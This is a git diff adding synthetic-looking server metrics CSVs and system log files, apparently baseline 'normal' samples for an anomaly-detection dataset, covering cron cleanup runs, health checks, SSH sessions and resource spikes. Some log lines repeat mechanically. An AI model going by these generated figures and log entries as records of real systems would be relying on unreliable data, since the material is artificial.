+2025-08-19T10:06:15Z,12.29,43.85,18.35,1.12,1.2 +2025-08-19T10:06:20Z,12.71,40.25,24.04,1.14,0.57 +2025-08-19T10:06:25Z,5.74,39.31,20.44,0.55,1.32 +2025-08-19T10:06:30Z,8.58,38.29,18.55,0.87,1.21 +2025-08-19T10:06:35Z,6.16,42.14,11.46,1.13,0.58 +2025-08-19T10:06:40Z,13.63,42.74,19.23,1.0,0.58 +2025-08-19T10:06:45Z,11.23,38.12,24.85,1.36,1.49 +2025-08-19T10:06:50Z,8.31,41.58,12.1,1.16,0.87 +2025-08-19T10:06:55Z,5.64,39.59,17.77,0.66,0.87 +2025-08-19T10:07:00Z,8.11,42.52,23.16,0.57,1.31 +2025-08-19T10:07:05Z,8.25,39.22,21.11,1.14,1.45 +2025-08-19T10:07:10Z,12.3,42.84,20.46,0.53,1.49 +2025-08-19T10:07:15Z,11.38,40.71,20.54,1.09,1.25 +2025-08-19T10:07:20Z,13.87,44.56,15.39,1.44,0.88 +2025-08-19T10:07:25Z,9.72,38.96,14.4,1.08,0.58 diff --git a/norm_dataset/scenario_4/norm_4_15.log b/norm_dataset/scenario_4/norm_4_15.log new file mode 100644 index 0000000000000000000000000000000000000000..2a13abffed1dc6b51e4bc9ed1711bbbe07e2ced8 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_15.log @@ -0,0 +1,13 @@ +Aug 19 10:00:00 systemd[1]: Starting daily network connection check... +Aug 19 10:00:25 web-app[3456]: GET /api/v1/health status=200 OK +Aug 19 10:01:00 sshd[5432]: Accepted publickey for user root from 192.168.1.10 port 22 +Aug 19 10:01:40 web-app[3456]: GET /api/v1/metrics status=200 OK +Aug 19 10:02:00 CRON[6232]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 19 10:02:00 root: INFO: Starting filesystem cleanup script: cleanup_tmp_files.sh. +Aug 19 10:03:20 kernel: [12345.678] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 19 10:03:45 web-app[3456]: POST /api/v1/login status=401 Unauthorized +Aug 19 10:04:30 root: INFO: Found and deleted 1723 expired session files from /tmp. +Aug 19 10:04:30 root: INFO: Filesystem cleanup script finished. +Aug 19 10:05:50 web-app[3456]: GET /api/v1/health status=200 OK +Aug 19 10:06:40 systemd[1]: Daily network connection check finished. +Aug 19 10:07:25 sshd[5432]: Disconnected from user root 192.168.1.10 port 22 diff --git a/norm_dataset/scenario_4/norm_4_16.csv b/norm_dataset/scenario_4/norm_4_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..6d30b32ea52fe3fb35610fc0c369e265c7ae69e1 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02 12:00:00+00:00,16.53,42.67,31.73,1.0,1.01 +2025-07-02 12:00:05+00:00,14.35,45.98,26.31,1.14,0.62 +2025-07-02 12:00:10+00:00,15.19,40.15,36.64,0.9,1.0 +2025-07-02 12:00:15+00:00,16.57,41.44,34.09,0.94,0.98 +2025-07-02 12:00:20+00:00,16.8,42.03,28.71,0.81,0.67 +2025-07-02 12:00:25+00:00,14.98,41.68,29.21,0.46,1.23 +2025-07-02 12:00:30+00:00,12.78,37.9,27.92,0.94,0.51 +2025-07-02 12:00:35+00:00,16.76,38.1,35.12,1.33,0.91 +2025-07-02 12:00:40+00:00,14.27,44.3,30.28,1.84,0.9 +2025-07-02 12:00:45+00:00,15.03,42.09,27.31,1.28,1.17 +2025-07-02 12:00:50+00:00,15.49,40.44,23.65,1.61,0.82 +2025-07-02 12:00:55+00:00,10.22,42.3,30.71,1.1,0.82 +2025-07-02 12:01:00+00:00,15.7,44.38,31.67,1.36,0.68 +2025-07-02 12:01:05+00:00,14.11,45.76,26.9,1.67,0.85 +2025-07-02 12:01:10+00:00,15.22,43.13,40.63,1.72,1.16 +2025-07-02 12:01:15+00:00,16.93,40.59,31.62,1.25,1.15 +2025-07-02 12:01:20+00:00,14.81,35.46,29.41,0.89,0.96 +2025-07-02 12:01:25+00:00,16.3,40.66,28.88,0.97,0.79 +2025-07-02 12:01:30+00:00,13.29,45.28,21.05,1.39,0.5 +2025-07-02 12:01:35+00:00,15.4,42.0,30.67,1.24,0.85 +2025-07-02 12:01:40+00:00,18.28,42.33,25.62,0.91,0.72 +2025-07-02 12:01:45+00:00,12.38,44.27,40.22,0.82,0.48 +2025-07-02 12:01:50+00:00,17.22,41.46,29.74,0.79,1.27 +2025-07-02 12:01:55+00:00,15.79,38.07,30.51,1.16,1.06 +2025-07-02 12:02:00+00:00,20.0,45.16,97.29,0.35,0.5 +2025-07-02 12:02:05+00:00,47.5,37.03,79.04,1.21,0.92 +2025-07-02 12:02:10+00:00,75.0,41.42,80.24,1.04,1.0 +2025-07-02 12:02:15+00:00,86.37,37.96,92.14,1.03,0.99 +2025-07-02 12:02:20+00:00,78.66,39.11,86.5,1.44,1.28 +2025-07-02 12:02:25+00:00,67.18,37.37,99.89,0.67,1.08 +2025-07-02 12:02:30+00:00,76.62,42.83,76.39,1.42,0.93 +2025-07-02 12:02:35+00:00,73.68,37.62,83.72,1.03,0.7 +2025-07-02 12:02:40+00:00,69.29,37.28,69.2,1.4,1.06 +2025-07-02 12:02:45+00:00,74.33,40.93,87.98,0.95,1.09 +2025-07-02 12:02:50+00:00,69.57,38.72,83.04,0.92,0.51 +2025-07-02 12:02:55+00:00,75.54,45.3,108.56,1.27,0.94 +2025-07-02 12:03:00+00:00,72.26,37.43,99.23,0.79,1.02 +2025-07-02 12:03:05+00:00,85.98,36.61,87.83,0.62,1.07 +2025-07-02 12:03:10+00:00,75.56,36.89,79.42,0.72,1.02 +2025-07-02 12:03:15+00:00,74.79,35.92,91.71,1.53,1.15 +2025-07-02 12:03:20+00:00,74.29,37.54,84.8,0.8,0.97 +2025-07-02 12:03:25+00:00,67.02,40.02,74.28,1.55,0.92 +2025-07-02 12:03:30+00:00,83.16,38.13,90.73,1.27,0.93 +2025-07-02 12:03:35+00:00,79.53,44.2,88.58,1.3,0.8 +2025-07-02 12:03:40+00:00,77.52,39.5,95.68,1.13,0.88 +2025-07-02 12:03:45+00:00,74.42,32.67,93.53,0.75,0.72 +2025-07-02 12:03:50+00:00,73.09,42.56,95.88,0.88,0.73 +2025-07-02 12:03:55+00:00,76.35,36.8,83.81,1.31,0.95 +2025-07-02 12:04:00+00:00,73.74,35.59,92.7,0.82,0.79 +2025-07-02 12:04:05+00:00,88.93,35.81,88.79,1.05,0.53 +2025-07-02 12:04:10+00:00,77.97,36.13,81.57,0.56,0.71 +2025-07-02 12:04:15+00:00,83.78,42.96,88.06,0.71,0.59 +2025-07-02 12:04:20+00:00,73.38,39.49,90.14,1.1,0.94 +2025-07-02 12:04:25+00:00,70.43,35.61,101.25,1.01,0.59 +2025-07-02 12:04:30+00:00,77.94,41.11,89.87,1.07,0.74 +2025-07-02 12:04:35+00:00,75.0,33.54,86.51,0.8,0.82 +2025-07-02 12:04:40+00:00,61.25,44.44,86.04,1.46,0.46 +2025-07-02 12:04:45+00:00,47.5,41.92,76.28,1.43,0.39 +2025-07-02 12:04:50+00:00,33.75,39.42,89.91,0.97,1.34 +2025-07-02 12:04:55+00:00,20.0,40.64,80.19,0.99,0.52 +2025-07-02 12:05:00+00:00,12.95,38.73,26.02,1.46,0.98 +2025-07-02 12:05:05+00:00,16.05,38.77,41.58,1.83,1.07 +2025-07-02 12:05:10+00:00,20.55,37.75,30.82,1.19,0.91 +2025-07-02 12:05:15+00:00,11.55,36.61,43.0,1.02,1.01 +2025-07-02 12:05:20+00:00,13.73,38.59,35.6,1.37,0.82 +2025-07-02 12:05:25+00:00,17.63,43.46,38.69,1.16,1.17 +2025-07-02 12:05:30+00:00,11.98,44.91,41.1,1.04,1.09 +2025-07-02 12:05:35+00:00,14.96,42.04,34.76,0.42,0.64 +2025-07-02 12:05:40+00:00,15.0,39.89,31.38,0.8,1.01 +2025-07-02 12:05:45+00:00,16.89,44.43,24.98,0.75,1.09 +2025-07-02 12:05:50+00:00,15.62,43.15,24.97,1.34,0.99 +2025-07-02 12:05:55+00:00,12.52,43.96,24.43,1.4,0.91 +2025-07-02 12:06:00+00:00,14.48,38.26,24.97,0.8,0.78 +2025-07-02 12:06:05+00:00,16.06,44.02,17.93,1.38,1.15 +2025-07-02 12:06:10+00:00,13.3,42.13,34.39,0.83,1.23 +2025-07-02 12:06:15+00:00,16.17,42.29,28.59,1.08,1.13 +2025-07-02 12:06:20+00:00,14.02,38.68,35.05,0.57,0.89 +2025-07-02 12:06:25+00:00,17.92,38.76,32.1,1.22,0.75 +2025-07-02 12:06:30+00:00,17.6,44.12,36.45,1.03,0.82 +2025-07-02 12:06:35+00:00,19.36,41.68,33.2,1.3,0.84 +2025-07-02 12:06:40+00:00,13.02,37.67,34.38,1.14,0.74 +2025-07-02 12:06:45+00:00,15.21,38.38,39.7,1.27,0.91 +2025-07-02 12:06:50+00:00,16.08,41.4,19.92,0.96,0.92 +2025-07-02 12:06:55+00:00,13.25,40.21,29.04,0.78,1.09 +2025-07-02 12:07:00+00:00,17.92,39.75,21.9,0.74,0.66 +2025-07-02 12:07:05+00:00,14.35,41.55,31.57,1.3,0.8 +2025-07-02 12:07:10+00:00,14.94,44.63,28.05,1.18,0.89 +2025-07-02 12:07:15+00:00,16.7,44.83,21.09,1.42,1.09 +2025-07-02 12:07:20+00:00,13.0,40.2,24.38,0.59,1.16 +2025-07-02 12:07:25+00:00,17.41,40.39,13.83,1.42,0.7 diff --git a/norm_dataset/scenario_4/norm_4_16.log b/norm_dataset/scenario_4/norm_4_16.log new file mode 100644 index 0000000000000000000000000000000000000000..9490f1322f100ece4ff83ef1c76404c8d2862fdf --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_16.log @@ -0,0 +1,17 @@ +Jul 02 12:00:05 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:25 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:01:05 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:00 CRON[4815]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 02 12:02:00 cleanup_script[4816]: INFO: Starting cleanup_tmp_files.sh. +Jul 02 12:02:05 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:10 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:03:05 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:55 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:04:05 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:00 cleanup_script[4816]: INFO: Found and deleted 1756 expired session files. +Jul 02 12:05:00 cleanup_script[4816]: INFO: Filesystem cleanup finished successfully. +Jul 02 12:05:05 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:40 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:06:05 systemd[1]: Starting daily clean up activities... +Jul 02 12:07:05 systemd[1]: Starting daily clean up activities... +Jul 02 12:07:25 web-app[1234]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_4/norm_4_17.csv b/norm_dataset/scenario_4/norm_4_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..c3ce6756063dbd948052f524ac774be02b8dd5c3 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,13.01,41.4,29.24,0.95,1.07 +2025-07-02T12:00:05Z,13.86,41.65,33.16,1.05,1.49 +2025-07-02T12:00:10Z,18.52,41.63,34.89,0.85,1.1 +2025-07-02T12:00:15Z,14.51,38.97,33.46,1.26,1.04 +2025-07-02T12:00:20Z,17.82,41.97,28.87,1.14,0.91 +2025-07-02T12:00:25Z,13.51,37.74,35.54,0.64,0.69 +2025-07-02T12:00:30Z,12.33,38.02,26.01,1.04,1.43 +2025-07-02T12:00:35Z,14.74,42.04,26.7,0.57,0.98 +2025-07-02T12:00:40Z,12.49,39.78,32.47,1.3,0.62 +2025-07-02T12:00:45Z,14.45,38.55,32.21,1.13,0.61 +2025-07-02T12:00:50Z,14.65,37.61,39.96,1.06,0.97 +2025-07-02T12:00:55Z,16.31,38.66,38.65,0.58,1.37 +2025-07-02T12:01:00Z,19.87,40.71,27.27,0.56,1.15 +2025-07-02T12:01:05Z,14.0,40.08,29.89,0.78,0.91 +2025-07-02T12:01:10Z,16.49,40.55,25.13,1.09,1.28 +2025-07-02T12:01:15Z,14.44,39.45,33.41,0.74,0.56 +2025-07-02T12:01:20Z,21.37,39.95,29.7,0.96,0.99 +2025-07-02T12:01:25Z,20.12,39.45,21.08,1.04,0.61 +2025-07-02T12:01:30Z,17.35,41.19,31.48,1.31,0.82 +2025-07-02T12:01:35Z,18.46,37.88,26.28,0.92,0.62 +2025-07-02T12:01:40Z,16.08,40.39,18.61,1.44,1.33 +2025-07-02T12:01:45Z,12.23,39.64,33.06,0.86,0.76 +2025-07-02T12:01:50Z,17.14,36.53,26.77,0.54,0.57 +2025-07-02T12:01:55Z,12.49,39.19,32.22,0.84,0.8 +2025-07-02T12:02:00Z,13.75,41.15,27.95,1.25,1.13 +2025-07-02T12:02:05Z,11.29,42.37,25.52,0.69,1.46 +2025-07-02T12:02:10Z,10.62,38.51,27.74,1.49,0.88 +2025-07-02T12:02:15Z,15.47,43.52,26.12,0.85,0.64 +2025-07-02T12:02:20Z,15.14,41.66,28.82,0.78,0.67 +2025-07-02T12:02:25Z,12.92,43.62,42.83,0.55,1.21 +2025-07-02T12:02:30Z,10.79,42.15,16.47,1.49,1.27 +2025-07-02T12:02:35Z,21.85,41.16,50.34,1.24,0.86 +2025-07-02T12:02:40Z,33.47,39.19,91.44,0.77,0.72 +2025-07-02T12:02:45Z,32.65,39.08,90.38,0.65,1.13 +2025-07-02T12:02:50Z,44.41,38.16,105.84,1.24,1.45 +2025-07-02T12:02:55Z,55.32,43.29,135.5,0.57,0.87 +2025-07-02T12:03:00Z,58.98,38.56,179.31,1.35,0.58 +2025-07-02T12:03:05Z,52.26,39.49,188.48,1.45,0.74 +2025-07-02T12:03:10Z,60.04,38.77,231.39,0.66,1.07 +2025-07-02T12:03:15Z,69.64,42.09,196.05,0.73,0.63 +2025-07-02T12:03:20Z,68.69,36.38,236.82,0.85,1.05 +2025-07-02T12:03:25Z,72.3,41.18,231.65,1.0,1.32 +2025-07-02T12:03:30Z,84.71,37.42,239.07,0.72,1.15 +2025-07-02T12:03:35Z,88.46,43.21,246.74,1.08,0.56 +2025-07-02T12:03:40Z,87.07,37.8,238.68,1.04,0.76 +2025-07-02T12:03:45Z,93.47,40.79,235.25,1.11,1.47 +2025-07-02T12:03:50Z,69.52,38.87,234.23,0.79,0.89 +2025-07-02T12:03:55Z,88.82,41.05,223.65,1.26,1.06 +2025-07-02T12:04:00Z,85.56,40.18,261.05,0.78,1.08 +2025-07-02T12:04:05Z,73.25,39.13,231.68,1.29,0.8 +2025-07-02T12:04:10Z,71.07,37.16,219.8,1.45,0.57 +2025-07-02T12:04:15Z,66.12,40.5,173.66,1.4,1.1 +2025-07-02T12:04:20Z,69.06,37.26,182.01,1.38,1.36 +2025-07-02T12:04:25Z,58.88,37.26,168.05,1.41,0.83 +2025-07-02T12:04:30Z,60.03,41.19,139.32,0.83,1.22 +2025-07-02T12:04:35Z,48.72,35.94,156.5,1.47,0.56 +2025-07-02T12:04:40Z,48.87,37.1,122.22,1.26,1.34 +2025-07-02T12:04:45Z,36.99,39.18,103.54,0.98,1.21 +2025-07-02T12:04:50Z,24.65,37.06,59.0,1.41,0.57 +2025-07-02T12:04:55Z,25.89,41.14,58.22,1.4,0.5 +2025-07-02T12:05:00Z,19.19,39.24,29.05,0.62,0.85 +2025-07-02T12:05:05Z,11.67,37.92,38.12,1.0,1.47 +2025-07-02T12:05:10Z,17.84,42.46,32.9,1.32,0.82 +2025-07-02T12:05:15Z,15.01,41.09,29.47,0.81,0.96 +2025-07-02T12:05:20Z,14.47,41.86,21.31,0.81,1.47 +2025-07-02T12:05:25Z,13.8,39.89,30.28,0.56,0.56 +2025-07-02T12:05:30Z,17.98,38.98,36.24,0.79,1.15 +2025-07-02T12:05:35Z,16.15,39.5,24.8,1.1,1.48 +2025-07-02T12:05:40Z,10.59,42.27,22.53,1.01,1.19 +2025-07-02T12:05:45Z,15.83,39.18,28.57,1.4,0.68 +2025-07-02T12:05:50Z,15.92,42.01,27.74,1.06,1.06 +2025-07-02T12:05:55Z,13.49,37.35,26.37,0.74,0.75 +2025-07-02T12:06:00Z,14.58,40.36,26.06,0.55,1.31 +2025-07-02T12:06:05Z,20.53,38.87,28.19,0.74,1.23 +2025-07-02T12:06:10Z,18.56,44.94,32.7,1.11,1.22 +2025-07-02T12:06:15Z,13.96,40.6,25.86,0.51,1.37 +2025-07-02T12:06:20Z,14.25,43.76,33.52,0.67,0.51 +2025-07-02T12:06:25Z,8.07,42.76,32.8,1.36,1.37 +2025-07-02T12:06:30Z,14.29,38.97,31.14,1.1,0.9 +2025-07-02T12:06:35Z,24.43,36.31,33.02,1.49,0.63 +2025-07-02T12:06:40Z,13.51,41.4,34.14,0.6,0.96 +2025-07-02T12:06:45Z,18.91,38.66,30.74,1.34,1.42 +2025-07-02T12:06:50Z,15.88,39.64,28.88,1.33,1.33 +2025-07-02T12:06:55Z,20.58,38.72,28.32,0.51,0.8 +2025-07-02T12:07:00Z,17.34,39.18,26.12,1.21,0.72 +2025-07-02T12:07:05Z,15.15,40.97,29.22,1.21,1.38 +2025-07-02T12:07:10Z,16.97,43.63,27.92,0.9,0.97 +2025-07-02T12:07:15Z,12.93,39.86,33.87,1.08,0.66 +2025-07-02T12:07:20Z,18.68,42.69,22.25,0.92,0.94 +2025-07-02T12:07:25Z,14.02,47.42,32.93,1.31,1.3 diff --git a/norm_dataset/scenario_4/norm_4_17.log b/norm_dataset/scenario_4/norm_4_17.log new file mode 100644 index 0000000000000000000000000000000000000000..e429777fa3b0254784d63007fe66e63597b61b5f --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_17.log @@ -0,0 +1,9 @@ +Jul 02 12:00:25 web-app[1234]: GET /api/v1/user/45 status=200 OK +Jul 02 12:01:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:05 web-app[1234]: GET /api/v1/user/101 status=200 OK +Jul 02 12:02:30 CRON[6543]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 02 12:02:30 cleanup_script[6544]: INFO: Starting cleanup_tmp_files.sh. +Jul 02 12:05:00 cleanup_script[6544]: INFO: Filesystem cleanup finished successfully. +Jul 02 12:05:00 cleanup_script[6544]: INFO: Found and deleted 1331 expired session files. +Jul 02 12:05:50 web-app[1234]: POST /api/v1/login status=200 OK +Jul 02 12:07:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/norm_dataset/scenario_4/norm_4_18.csv b/norm_dataset/scenario_4/norm_4_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..f5ccdc8199b073683adfa6d6280c321416404cd8 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,8.67,38.85,18.0,0.96,0.99 +2025-07-02T12:00:05Z,11.4,41.97,15.29,0.72,0.53 +2025-07-02T12:00:10Z,9.7,37.88,14.23,0.77,0.75 +2025-07-02T12:00:15Z,9.24,38.51,12.04,0.82,0.59 +2025-07-02T12:00:20Z,14.1,37.98,9.25,0.99,0.86 +2025-07-02T12:00:25Z,6.66,39.59,16.69,0.54,0.81 +2025-07-02T12:00:30Z,11.65,40.72,14.44,1.05,0.51 +2025-07-02T12:00:35Z,11.27,40.39,13.16,1.2,1.03 +2025-07-02T12:00:40Z,10.56,35.44,15.23,1.04,0.5 +2025-07-02T12:00:45Z,10.06,38.15,10.81,1.17,0.86 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a/norm_dataset/scenario_4/norm_4_18.log b/norm_dataset/scenario_4/norm_4_18.log new file mode 100644 index 0000000000000000000000000000000000000000..b4f4ff4985697aa8a5476f1404964478d98a631e --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_18.log @@ -0,0 +1,20 @@ +Jul 02 12:00:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:00:50 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:01:15 systemd[1]: Starting user-runtime-dir@1000.service... +Jul 02 12:01:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:01:40 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:02:00 CRON[7654]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 02 12:02:05 systemd[1]: Starting Daily Cleanup of Temporary Directories... +Jul 02 12:02:10 cleanup_script[7655]: INFO: Starting cleanup_tmp_files.sh. +Jul 02 12:02:30 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:03:20 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:03:45 cleanup_script[7655]: INFO: Scanning /var/tmp for files older than 7 days. +Jul 02 12:04:10 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:05:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:05:00 cleanup_script[7655]: INFO: Found and deleted 2153 expired session files. +Jul 02 12:05:05 cleanup_script[7655]: INFO: Filesystem cleanup finished. +Jul 02 12:05:05 systemd[1]: Finished Daily Cleanup of Temporary Directories. +Jul 02 12:05:50 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:05:50 web-app[1234]: POST /api/v1/login status=200 OK +Jul 02 12:06:40 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:06:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/norm_dataset/scenario_4/norm_4_19.csv b/norm_dataset/scenario_4/norm_4_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..2566c88ca6274ddecfb61d144629e83ee75c8367 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,13.75,36.2,26.82,1.37,0.93 +2025-07-02T12:00:05Z,19.51,42.33,22.27,1.37,1.09 +2025-07-02T12:00:10Z,17.32,43.01,38.49,1.41,0.97 +2025-07-02T12:00:15Z,15.99,41.2,37.55,1.44,1.03 +2025-07-02T12:00:20Z,11.56,43.49,25.16,1.16,1.26 +2025-07-02T12:00:25Z,11.56,40.9,33.2,1.15,0.93 +2025-07-02T12:00:30Z,10.58,41.36,36.34,1.36,1.28 +2025-07-02T12:00:35Z,18.66,40.56,31.1,1.25,1.24 +2025-07-02T12:00:40Z,16.01,36.69,30.59,1.29,0.82 +2025-07-02T12:00:45Z,17.08,37.65,24.84,1.36,0.74 +2025-07-02T12:00:50Z,10.21,37.0,21.86,1.42,0.76 +2025-07-02T12:00:55Z,19.7,43.15,37.94,1.04,0.71 +2025-07-02T12:01:00Z,18.32,40.01,38.01,1.06,0.76 +2025-07-02T12:01:05Z,12.12,42.01,32.66,0.87,1.11 +2025-07-02T12:01:10Z,11.82,46.05,26.78,1.2,0.74 +2025-07-02T12:01:15Z,11.83,39.49,26.98,0.83,0.89 +2025-07-02T12:01:20Z,13.04,41.1,34.52,1.13,1.21 +2025-07-02T12:01:25Z,15.25,44.54,37.94,1.18,0.71 +2025-07-02T12:01:30Z,14.32,39.24,37.74,1.0,1.19 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+2025-07-02T12:06:35Z,11.16,42.91,21.94,1.24,0.75 +2025-07-02T12:06:40Z,18.63,43.75,32.3,1.15,0.75 +2025-07-02T12:06:45Z,16.23,37.11,39.8,1.4,1.29 +2025-07-02T12:06:50Z,13.31,42.0,22.8,1.26,0.92 +2025-07-02T12:06:55Z,10.64,39.07,30.37,0.91,0.92 +2025-07-02T12:07:00Z,13.11,43.16,37.55,0.85,1.19 +2025-07-02T12:07:05Z,13.25,38.34,34.82,1.25,1.27 +2025-07-02T12:07:10Z,17.3,43.38,33.94,0.82,1.29 +2025-07-02T12:07:15Z,16.38,40.19,34.05,1.21,1.15 +2025-07-02T12:07:20Z,18.87,45.54,27.19,1.46,0.93 +2025-07-02T12:07:25Z,14.72,37.38,25.87,1.2,0.75 diff --git a/norm_dataset/scenario_4/norm_4_19.log b/norm_dataset/scenario_4/norm_4_19.log new file mode 100644 index 0000000000000000000000000000000000000000..1028a13e305d3e250da88391135f78b37e880c62 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_19.log @@ -0,0 +1,37 @@ +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:10 web-app[1040]: GET /api/v1/user/201 status=200 OK +Jul 02 12:00:25 kubelet[2739]: INFO Liveness probe succeeded for pod database-pod +Jul 02 12:00:40 web-app[1040]: GET /api/v1/user/154 status=200 OK +Jul 02 12:00:45 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:10 web-app[1040]: GET /api/v1/user/221 status=200 OK +Jul 02 12:01:25 kubelet[2739]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:01:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:40 web-app[1040]: GET /api/v1/user/406 status=304 Not Modified +Jul 02 12:02:10 web-app[1040]: GET /api/v1/user/262 status=304 Not Modified +Jul 02 12:02:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:25 kubelet[2739]: INFO Liveness probe succeeded for pod database-pod +Jul 02 12:02:30 CRON[6255]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 02 12:02:35 cleanup_script[7708]: INFO: Starting cleanup of temporary files. +Jul 02 12:02:40 web-app[1040]: GET /api/v1/user/312 status=304 Not Modified +Jul 02 12:03:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:10 web-app[1040]: GET /api/v1/user/19 status=304 Not Modified +Jul 02 12:03:25 kubelet[2739]: INFO Liveness probe succeeded for pod user-service-pod +Jul 02 12:03:30 cleanup_script[7708]: INFO: Scanned 125,834 files and 15,321 directories. +Jul 02 12:03:40 web-app[1040]: GET /api/v1/user/260 status=200 OK +Jul 02 12:03:45 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:10 web-app[1040]: GET /api/v1/user/128 status=200 OK +Jul 02 12:04:20 cleanup_script[7708]: INFO: Found and deleted 1500 expired session files. +Jul 02 12:04:25 cleanup_script[7708]: INFO: Cleanup finished. Total space freed: 2.5GB. +Jul 02 12:04:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:40 web-app[1040]: GET /api/v1/user/383 status=201 Created +Jul 02 12:05:10 web-app[1040]: GET /api/v1/user/233 status=304 Not Modified +Jul 02 12:05:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:25 kubelet[2739]: INFO Liveness probe succeeded for pod database-pod +Jul 02 12:05:40 web-app[1040]: GET /api/v1/user/350 status=200 OK +Jul 02 12:06:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:10 web-app[1040]: GET /api/v1/user/226 status=304 Not Modified +Jul 02 12:06:25 kubelet[2739]: INFO Liveness probe succeeded for pod database-pod +Jul 02 12:06:40 web-app[1040]: GET /api/v1/user/186 status=201 Created +Jul 02 12:06:45 systemd[1]: Starting daily clean up activities... +Jul 02 12:07:10 web-app[1040]: GET /api/v1/user/107 status=200 OK +Jul 02 12:07:25 kubelet[2739]: INFO Liveness probe succeeded for pod database-pod diff --git a/norm_dataset/scenario_4/norm_4_2.csv b/norm_dataset/scenario_4/norm_4_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..be5d828506be66af6f1265357fc15bf8a3b086a7 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-18T10:00:00Z,13.75,38.84,18.41,1.37,0.97 +2025-08-18T10:00:05Z,19.81,42.99,16.13,1.37,1.15 +2025-08-18T10:00:10Z,17.92,43.33,24.25,1.41,1.02 +2025-08-18T10:00:15Z,16.87,41.93,23.77,1.44,1.08 +2025-08-18T10:00:20Z,12.73,43.4,17.58,1.16,1.36 +2025-08-18T10:00:25Z,13.0,41.46,21.6,1.15,0.97 +2025-08-18T10:00:30Z,12.27,41.66,23.17,1.36,1.37 +2025-08-18T10:00:35Z,20.59,40.99,20.55,1.25,1.33 +2025-08-18T10:00:40Z,18.16,38.18,20.3,1.29,0.84 +2025-08-18T10:00:45Z,19.43,38.76,17.42,1.36,0.75 +2025-08-18T10:00:50Z,12.73,38.22,15.93,1.42,0.77 +2025-08-18T10:00:55Z,22.37,42.45,23.97,1.04,0.71 +2025-08-18T10:01:00Z,21.12,40.2,24.0,1.06,0.77 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+2025-08-18T10:06:05Z,20.71,41.75,18.17,1.1,0.77 +2025-08-18T10:06:10Z,19.76,38.63,16.69,1.08,0.76 +2025-08-18T10:06:15Z,20.1,43.85,20.57,1.23,1.19 +2025-08-18T10:06:20Z,20.62,40.25,24.36,1.24,0.75 +2025-08-18T10:06:25Z,13.7,39.31,21.96,0.83,1.28 +2025-08-18T10:06:30Z,16.58,38.29,20.7,1.06,1.19 +2025-08-18T10:06:35Z,14.16,42.14,15.97,1.24,0.76 +2025-08-18T10:06:40Z,21.6,42.74,21.15,1.15,0.76 +2025-08-18T10:06:45Z,19.14,38.12,24.9,1.4,1.39 +2025-08-18T10:06:50Z,16.13,41.58,16.4,1.26,0.96 +2025-08-18T10:06:55Z,13.34,39.59,20.18,0.91,0.96 +2025-08-18T10:07:00Z,15.67,42.52,23.77,0.85,1.27 +2025-08-18T10:07:05Z,15.65,39.22,22.41,1.25,1.36 +2025-08-18T10:07:10Z,19.5,42.84,21.97,0.82,1.39 